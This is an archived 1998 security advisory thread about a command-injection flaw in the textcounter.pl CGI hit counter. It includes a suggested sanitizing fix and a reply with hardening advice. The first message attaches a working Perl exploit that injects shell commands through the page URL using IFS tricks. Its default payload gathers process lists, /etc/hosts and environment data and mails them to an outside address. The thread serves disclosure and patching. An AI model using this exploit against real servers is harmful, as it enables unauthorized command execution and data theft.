home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / textcounter.txt < prev    next >
Encoding:
Text File  |  1998-07-05  |  3.5 KB  |  114 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. Date:         Wed, 24 Jun 1998 08:51:11 +0300
  5. From:         Doru Petrescu <pdoru@KAPPA.RO>
  6. Subject:      textcounter.pl SECURITY HOLE
  7.  
  8. Hi,
  9.  
  10.    I've found a serious problem in textcounter.pl script that enable
  11. everybody to execute commands on your system with the same rights as the
  12. httpd daemon.
  13.    Program was created by Matt Wright (mattw@worldwidemart.com) and
  14. has a "Last Modified Date" at 5/10/96. You can find it at
  15. http://www.worldwidemart.com/scripts/.
  16.  
  17.    The counter use the enviroment variable DOCUMENT_URI to
  18. create/read/update a file where it keeps the hit count. There is NO test
  19. for shell metacharacters, so you can easily put something evil, that will
  20. make PERL to execute it ...
  21.    This is the two lines responsible with the problem ...
  22.  
  23.    if (-e "$data_dir$count_page") {
  24.       open(COUNT,"$data_dir$count_page");
  25.     ....
  26.    }
  27.  
  28.    Because of the test condition, the attack have to be repeated twice to
  29. succeed. First time the condition is false and the tricky file gets
  30. created, and the second time, the condition is true and our commands get
  31. executed ... Nice isn't it ? :(
  32.  
  33.    The fix is very simple: add after line 91, another line that will make
  34. sure that there is NO tricky characters in the filename.
  35.  
  36. $count_page = "$ENV{'DOCUMENT_URI'}";         # the original 91 line ....
  37. $count_page =~ s/([^a-z0-9])/sprintf("%%%02X",$1)/ge;   # ADD THIS !!!!!
  38.  
  39.  
  40.     If you want to make sure that your system is vulnerable or not, you
  41. can use the small program that it's attached. No cracking please ...
  42.  
  43.  
  44. Best regards,
  45. ------
  46. Doru Petrescu
  47. KappaNet - Software Engineer
  48. E-mail: pdoru@kappa.ro
  49.  
  50. Exploit :
  51.  
  52. -- cut here --
  53.  
  54. #!/usr/bin/perl
  55.  
  56. $URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this 
  57. $EMAIL='pdoru@pop3.kappa.ro,root';           # please _DO_ _modify_ this
  58.  
  59.  
  60. if ($ARGV[0]) {
  61.    $CMD=$ARGV[0];
  62. }else{
  63.    $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
  64. }
  65.  
  66. $text="${URL}/;IFS=\8;${CMD};echo|";
  67. $text =~ s/ /\$\{IFS\}/g;
  68.  
  69. #print "$text\n";
  70.  
  71. system({"wget"} "wget", $text, "-O/dev/null");
  72. system({"wget"} "wget", $text, "-O/dev/null");
  73. #system({"lynx"} "lynx", $text); 
  74. #system({"lynx"} "lynx", $text);     # if you don't have "wget"
  75.                   # you can try with "Lynx"
  76.  
  77. -- cut here --
  78.  
  79. ----------------------------------------------------------------------------
  80.  
  81. Date:         Wed, 24 Jun 1998 03:35:57 -0400
  82. From:         Rich Lafferty <lafferty@POBOX.COM>
  83. Subject:      Re: textcounter.pl SECURITY HOLE
  84.  
  85. Quoting Doru Petrescu (pdoru@kappa.ro) from Wed, Jun 24, 1998 at 08:51:11AM +0300:
  86. >              Hi,
  87. >
  88. >    I've found a serious problem in textcounter.pl script that enable
  89. > everybody to execute commands on your system with the same rights as the
  90. > httpd daemon.
  91.  
  92. Bah, that's what I get for writing things at 3:30 am.
  93.  
  94. Regarding my previous post:
  95.  
  96. Yes, this script's vulnerability allows execution of arbitrary commands.
  97.  
  98. Part about 'same rights as http daemon' still implies poor configuration
  99. of httpd. Obviously, translate that to 'with the same rights as the
  100. user running this poorly-written prefabricated script' for a properly-
  101. configured httpd.
  102.  
  103. Use cgiwrap. Don't run scripts from untrusted sources. Don't take candy
  104. from strangers. Breathe.
  105.  
  106.   -Rich
  107.  
  108. --
  109. Rich Lafferty -----------+-------------------------------------------
  110. Department of Sociology  | "Theory means you have ideas; ideology
  111. McGill University        |  means ideas have you" -unknown anarchist
  112. lafferty@pobox.com ------+-------------------------------------[mcq]-
  113.  
  114.